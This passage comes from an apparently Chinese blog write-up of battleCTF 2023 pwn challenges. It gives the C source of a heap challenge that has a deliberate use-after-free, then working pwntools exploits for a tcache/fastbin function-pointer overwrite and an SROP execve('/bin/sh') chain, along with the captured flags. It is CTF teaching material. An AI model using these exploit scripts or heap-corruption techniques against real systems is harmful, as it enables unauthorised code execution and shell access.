    system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");
    printf(": %s\n", str);
}

void speak(char* name) {
    print(name);
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  alarm(60);
}

int menu() {
    int choice = -1;
    print("Welcome to Danxome Military zone !!!");
    print("1) Add Minon");
    print("2) Remove Minon");
    print("3) Report Minon Name");
    print("0) Exit");
    
    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice >= 0 && choice < 5) {
            break;
        }
        printf("??\n");
    }
    printf("\n");

    return choice;
}

void add_minon() {
    int choice;
    int size;
    int idx;
    Minon* minon;

    if (danxome.numOfMinon >= MINON_SIZE) {
        print("[ERROR] The Military zone is full.");
        return;
    }

    for (idx = 0; idx < MINON_SIZE; idx++) {
        if (danxome.minons[idx] == NULL) {
            break;
        }
    }

    minon = (Minon*) malloc(sizeof(Minon));

    print("Type of Minon?");
    print("1) Awhouangan");
    print("2) Gbeto");

    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice == 1) {
            minon->type = AWHOUANGAN;
            break;
        } 
        if (choice == 2) {
            minon->type = GBETO;
            break;
        }
        printf("??\n");
    }

    minon->speak = speak;
    minon->name = (char*) malloc(0x18);

    print("Name of minon?");
    printf("> ");
    read(0, minon->name, 0x18);

    danxome.minons[idx] = minon;
    printf("> [DEBUG] Minon is added to Military zone %d\n", idx);
    danxome.numOfMinon++;
}

void remove_minon() {
    int choice;

    if (danxome.numOfMinon <= 0) {
        print("[ERROR] No minon in the Military zone.");
        return;
    }

    print("Zone number? (0-9)");
    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice >= 0 && choice < MINON_SIZE) {
            break;
        }
        printf("??\n");
    }

    if (danxome.minons[choice] == NULL) {
        print("[ERROR] No minon in this zone.");
        return;
    }

    free(danxome.minons[choice]->name);
    free(danxome.minons[choice]);

    printf("> [DEBUG] Minon is removed from zone %d\n", choice);
    
    danxome.numOfMinon--;
}

void report_name() {
    int choice;

    if (danxome.numOfMinon <= 0) {
        print("[ERROR] No minon in the Military zone.");
        return;
    }

    print("Zone number? (0-9)");
    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice >= 0 && choice < MINON_SIZE) {
            break;
        }
        printf("??\n");
    }

    if (danxome.minons[choice] == NULL) {
        print("[ERROR] No minon in this zone.");
        return;
    }

    danxome.minons[choice]->speak(danxome.minons[choice]->name);
}

int main(int argc, char const *argv[]) {
    int leave = 0;
    init();
    while(!leave) {
        switch (menu()) {
        case 1:
            add_minon();
            break;
        case 2:
            remove_minon();
            break;
        case 3:
            report_name();
            break;
        default:
            leave = 1;
        }
        printf("\n");
    }
    return 0;
}

根据上题猜安的libc版本比较高有tcache,这时释放7个以后第8个会进入fastbin,再申请时使用tcache的块,就会形成错位。然后同上

from pwn import *

#p = process('./minon2')
p = remote('chall.battlectf.online', 1007)
context(arch='amd64', log_level='debug')

elf = ELF('./minon2')

def add(msg):
    p.sendlineafter(b'Exit\n> ', b'1')
    p.sendlineafter(b'> ', b'2')
    p.sendafter(b'> ', msg)

def free(idx):
    p.sendlineafter(b'Exit\n> ', b'2')
    p.sendlineafter(b'> ', str(idx).encode())

def show(idx):
    p.sendlineafter(b'Exit\n> ', b'3')
    p.sendlineafter(b'> ', str(idx).encode())

for i in range(4):
    add(b'A')

for i in range(4):
    free(i)
#释放7块后tcache填满,第8块放入fastbin,再次建块时从tcache取块,使管理块和数据块错位
add(p64(elf.plt['system'])+b'/bin/sh\x00'+p8(0x28))

#gdb.attach(p)
#pause()

show(2)

p.interactive()
#battleCTF{Awhouangan_Heap_demilitarized_0d9d6b908d9825db10311ac0303b4fa0}

0xf

这题恰好前边的比较出现了两次。

这里有溢出,PIE也没开,但是没pop无法传参

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  puts("Africa battle CTF 2023");
  puts("Tell us about your ethnicity:");
  gets(v4, argv);
  return 0;
}

但这里有好几个gadget

.text:0000000000401136                               public hausa
.text:0000000000401136                               hausa proc near
.text:0000000000401136                               ; __unwind {
.text:0000000000401136 55                            push    rbp
.text:0000000000401137 48 89 E5                      mov     rbp, rsp
.text:000000000040113A B8 0F 00 00 00                mov     eax, 0Fh
.text:000000000040113F C3                            retn
.text:000000000040113F
.text:000000000040113F                               hausa endp ; sp-analysis failed
.text:000000000040113F
.text:0000000000401140                               ; ---------------------------------------------------------------------------
.text:0000000000401140 0F 05                         syscall                                 ; LINUX -
.text:0000000000401142 C3                            retn
.text:0000000000401142
.text:0000000000401142                               ; ---------------------------------------------------------------------------
.text:0000000000401143 90                            align 4
.text:0000000000401144 5D                            pop     rbp
.text:0000000000401145 C3                            retn
.text:0000000000401145                               ; } // starts at 401136

可以得到rax=15,还有syscall;ret正好用srop

from pwn import *

p = remote('chall.battlectf.online', 1009)
#p = process('./0xf')
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x401182\nc")

rax_15 = 0x40113a
syscall_ret = 0x401140
bin_sh = 0x402004
ret = 0x401142 

frame=SigreturnFrame()  #pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

pay = b'A'*0x30 + flat(0x404800, rax_15, syscall_ret, frame)
p.sendlineafter(b':\n', pay)

p.interactive()
#battleCTF{Ethnicity_SigROP_Syscall_Army_f0d9e29e9c1d03c996083bb9c3325d33}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值